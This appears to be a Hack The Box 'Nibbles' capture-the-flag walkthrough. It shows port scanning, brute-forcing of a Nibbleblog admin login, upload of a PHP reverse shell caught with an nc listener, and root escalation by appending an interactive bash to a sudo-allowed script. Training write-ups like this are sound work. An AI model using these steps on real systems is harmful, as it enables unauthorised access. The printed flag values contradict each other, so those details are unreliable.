HTB | Nibbles

 

Walkthrough


Time to Root Machine: ~45min
Write-up Date(s): 11/11/2021
Last Edited: 11/11/2021

 
Assuming we have connection to HTB's network already, let's go ahead and scan 10.10.10.75's ports with Nmap:
┌──(root💀kali)-[~]
└─# nmap -p- -A -T4 10.10.10.75
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-01 10:19 EDT
Nmap scan report for 10.10.10.75
Host is up (0.065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=9/1%OT=22%CT=1%CU=40548%PV=Y%DS=2%DC=T%G=Y%TM=6310BF8A
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=I%TS=8)SEQ(SP=10
OS:5%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)OPS(O1=M54BST11NW7%O2=M54BST11NW7%O3
OS:=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54BNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   115.34 ms 10.10.16.1
2   32.55 ms  10.10.10.75

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.84 seconds
The Nmap scan displays two different services running on 10.10.10.75: ssh [port 22] & http [port 80]. As a security tester, I generally avoid ssh, as there's usually not much to go off of, unless a header is displayed that contains information. Let's navigate to port 80 and see what is displayed:
A very promising webpage is displayed with the text "Hello world!" Let's view the source code and see if anything promising is displayed, since there's not much to go off of on this default page:
Hmmmm... there's a comment that states there is a directory named nibbleblog that isn't very interesting. I'm sure it's quite the opposite! Let's navigate to this directory and see what we find:
Not much to go off of on the homepage, especially since the majority of the links lead to nothing. Let's go ahead and enumerate those directories:
After a few quick seconds, we are presented with several folders and files. Sparing some time, there are a lot of dead ends within these folders, but I will point out two that will move us in the right direction: the /content/private/users.xml and /admin.php files, which are shown below:

This represents the “users.xml” file, which contains the username name of “admin”.

This image represents the “admin.php” file, which is the admin login page for the “NibbleBlog” site.

As mentioned above, we were able to obtain the username of admin, which is half the battle of logging into the admin area! Saving some time [again], the password for the admin username is no where to be found within the folders on the site, therefore we can attempt to bruteforce the password field using burpsuite and see if we can log in. We will attempt to use common passwords and passwords relevant to the site, such as nibbleblog, nibbles, etc. Using this custom list of passwords, let's see what we can gather:
And just like that, we are blacklisted! This is very real world and bruteforcing can be shut down just as easy as this. That's why bruteforcing should be the last resort and slowed down. After restarting the Nibbleblog machine, I attempted bruteforcing one more time with just four passwords and here's the results:
We have successfully obtained the password for the admin username! From the burpsuite screenshot above, we can see the differences between the failed [red] request and response of using the password nibble, and the correct [cyan] password of nibbles.

This is where the fun begins. After doing some dorking, I came across a few articles explaining a file upload vulnerability within this specific version of Nibbleblog [4.0.3]. We gathered the version information by going to the settings page when logged into the admin dashboard. The file can be uploaded to a specific plugin, called My image.

Let's create a php reverse shell [pentestmonkey's] and upload it to this plugin:
Now that our php reverse shell file has been uploaded to the site, let's navigate to it's location and pop that reverse shell:
┌──(root💀kali)-[~]
└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.75] 39932
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 22:19:00 up 43 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ 
And we have a successful reverse shell! Let's figure out who we are and some quick privilege checks before going further:
$ whoami
nibbler
$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Wow, right off the bat we have some juicy info. We are able to execute the monitor.sh script as root without a password. Let's navigate to the folder and see what the monitor.sh script is all about and grab that user flag while we are at it:
$ cd home/nibbler
$ ls
personal.zip
user.txt
$ cat user.txt
708c049dfa71dff525d619d91229297d
Looks like the script is in a zip folder, so let's unzip it and then view the monitor.sh script:
 unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  
$ cd personal/stuff
$ cat monitor.sh
                  ####################################################################################################
                  #                                        Tecmint_monitor.sh                                        #
                  # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      #
                  # If any bug, report us in the link below                                                          #
                  # Free to use/edit/distribute the code below by                                                    #
                  # giving proper credit to Tecmint.com and Author                                                   #
                  #                                                                                                  #
                  ####################################################################################################
#! /bin/bash
# unset any variable which system may be using

# clear the screen
clear

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

while getopts iv name
do
        case $name in
          i)iopt=1;;
          v)vopt=1;;
          *)echo "Invalid arg";;
        esac
done

if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi

if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi

if [[ $# -eq 0 ]]
then
{


# Define Variable tecreset
tecreset=$(tput sgr0)

# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"

# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os

# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset  && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"

# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture

# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease

# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME

# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip

# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip

# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers 

# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who 

# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"

# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset 
cat /tmp/diskusage

# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage

# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime

# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))
Pretty hefty script! It seems to be a health check script for the server, and the interesting part is at the top: #! /bin/bash, which indicates that the script is ran under that specific shell. Let's add some magic to this script to escalate our privileges:
$ echo "/bin/bash -i" >> monitor.sh
$ sudo ./monitor.sh
'unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found
bash: cannot set terminal process group (1342): Inappropriate ioctl for device
bash: no job control in this shell
root@Nibbles:/home/nibbler/personal/stuff# whoami
whoami
root
root@Nibbles:/home/nibbler/personal/stuff# 
We appended the interactive /bin/bash shell into the script, and when we run the script with sudo, everything within the script is run with root privileges, and, in turn, we get a root-privileged /bin/bash shell.

Let's head to the root directory and grab that root flag:
root@Nibbles:/home/nibbler/personal/stuff# cd /root
cd /root
root@Nibbles:~# ls
ls
root.txt
root@Nibbles:~# cat root.txt
cat root.txt
b001295eae738e24e21340bb9c26aa53
ROOT FLAG: 04a8b36e1545a455393d067e772fe90e
USER FLAG [nibbler]: 7004dbcef0f854e0fb401875f26ebd00
Next
Next

HTB | Jerry